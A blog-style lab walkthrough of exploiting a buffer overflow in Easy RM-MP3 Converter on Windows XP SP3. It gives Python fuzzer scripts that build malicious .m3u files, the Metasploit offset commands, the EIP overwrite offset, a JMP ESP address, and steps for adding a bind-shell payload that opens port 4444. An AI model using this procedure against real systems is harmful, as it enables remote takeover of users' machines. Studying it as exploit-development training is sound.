In this post I will try to find the vulnerability of the Easy RM-MP3 Converter. To find the software vulnerability we can use Buffer Overflow. In this practice I use Windows XP SP3 where the Easy RM-MP3 Converter installed. The Backtrack is Bactrack 5 R2 version.
Let's begin..
- After the Easy RM-MP3 Converter installed, then run the application.
- First, we should to make the fuzzer to make the application error/crash, so that we can analyze the error.
#!/usr/bin/python
filename="26500.m3u"
buffer="\x41"*26500
file= open(filename,'w')
file.write(buffer)
print"Done!"
file.close()
- Save file with '.py' extension, then run the fuzzer.
root@bt:/var/www# python fuzzmp3.py
Done!
- Once we run a fuzzer, it will create a file 26500.m3u. Send it to the /var/www folder, then run the apache web server. So you can download the file from the Windows XP virtual machine.
- Load the file that we have downloaded, if the script is correct then the application will error/crash.
- Okey, after we success made the application error/crash, then run the application on the OllyDbg, try to load the file to make the application error so we can analize the error from OllyDbg.
- From the result we know that the ESP and EIP register is overwritten.
- We don't know where the ESP and EIP register overwritten, so we make the structured string using pattern_create.rb to know the location the register overwritten.
root@bt: cd /opt/metasploit/msf3/tools- Then modify the fuzzer using the string that we made.
root@bt:/opt/metasploit/msf3/tools# ./pattern_create.rb 26500 > st26500.txt
+-6+.png)
Spoiler :
- Download the file, run the Easy RM-MP3 Converter using OllyDbg and load to Easy RM-MP3 Converter.
- Look at the log of Ollydbg, the ESP and EIP register is overwritten with structured string.
- From that we still don't know where is exactly the byte ESP and EIP register is overwritten, so we use the pattern_offset.rb.
root@bt: cd /opt/metasploit/msf3/tools- We use the 26500 byte string, so we use that nearest from it.
root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb 6B48356B 26500
5776
26056
root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb Hk8Hk9Hl 26500
5784
26064
- Then we will try to overwrite the EIP register with DEADBEEF string.
#!/usr/bin/python
filename="26500b.m3u"
buffer="\x90"*26056
buffer+= "\xEF\xBE\xAD\xDE"
file= open(filename,'w')
file.write(buffer)
print"Done!"
file.close()
- Run the fuzzer again, then send the file to /var/www again.
- Download the file, run the Easy RM-MP3 Converter using OllyDbg and load to Easy RM-MP3 Converter.
- The log result show the EIP register is overwritten with DEADBEEF string.
- After overwrite the EIP register, next we will try to overwrite the ESP register. Modify the fuzzer once again.
#!/usr/bin/python- Run the fuzzer, then send the file to /var/www again.
filename="26500c.m3u"
buffer="\x90"*26056
buffer+= "\xEF\xBE\xAD\xDE"
buffer += "\x90"*(26064-len(buffer))
buffer += "\xCC"*(26500-len(buffer))
file= open(filename,'w')
file.write(buffer)
print"Done!"
file.close()
- Download the file, run the Easy RM-MP3 Converter using OllyDbg and load to Easy RM-MP3 Converter.
- Look at the Ollydbg log, the ESP register is overwritten.
- Now, after we succes to overwrite the EIP and ESP register, next is to find the JMP ESP command. How to find the JMP ESP command? Follow this step.
- When the application is running on Ollydbg, click View from Ollydbg toolbars then select Executable modules or you can press Alt+E for shortcut.
- Then the library from executable modules will appear, select the shell32.dll.
- Right click on new window that display the CPU module from shell32.dll > Search for > Command
- Insert "JMP ESP" in the dialog box, click find, and the memory address of JMP ESP will appear.
- Next, we will try to change the value of EIP register with memory address of JMP ESP. To do that we should modify the fuzzer. You must insert the JMP ESP memory address with little-endian system to the fuzzer like below.
#!/usr/bin/python
filename="26500d.m3u"
buffer="\x90"*26056
buffer+= "\xD7\x30\x9D\x7C"
buffer += "\x90"*(26064-len(buffer))
buffer += "\xCC"*(26500-len(buffer))
file= open(filename,'w')
file.write(buffer)
print"Done!"
file.close()
- Run the fuzzer, then send the file to /var/www again.
- Download the file, run the Easy RM-MP3 Converter using OllyDbg and load to Easy RM-MP3 Converter.
- Look at the log of Ollydbg! Why the EIP register contains 000FF731 not 7C9D30D7? To know what is the 7C9D30D7 memory address really executed we must use breakpoint at the JMP ESP memory address.
- Run the Easy RM-MP3 Converter again, located to the JMP ESP memory address, the steps like before. Right click on the address memory > Breakpoint > Memory, on access
- Load the file m3u again, then see the result. The Ollydbg stop the Easy RM-MP3 Converter process when try to access 7C9D30D7 mempory address.
- Okey, then we make the payload that will be sent along with the JMP ESP memory address through the fuzzer.
- Located to msfweb directory then run it.
root@bt:cd /pentest/exploits/framework2
root@bt:/pentest/exploits/framework2# ./msfweb- Open the address of Metasploit Framework Web Interface on web browser.
+----=[ Metasploit Framework Web Interface (127.0.0.1:55555)
http://127.0.0.1:55555/- Click the PAYLOADS, select os:win32 on Filter Modules.
- Click Windows Bind Shell
- Then insert the required data, last click Generate Payload
- The payload code will appear
- After that, insert the payload to the fuzzer.
+-+21.png)
Spoiler :
- Download the file, run the Easy RM-MP3 Converter without OllyDbg and load to Easy RM-MP3 Converter.
- If the application error or crash like above without closing, then try to telnet the Windows XP on port 4444. The connection to the Windows XP sistem using port 4444 is success!!
0 comments:
Post a Comment
Comment in here...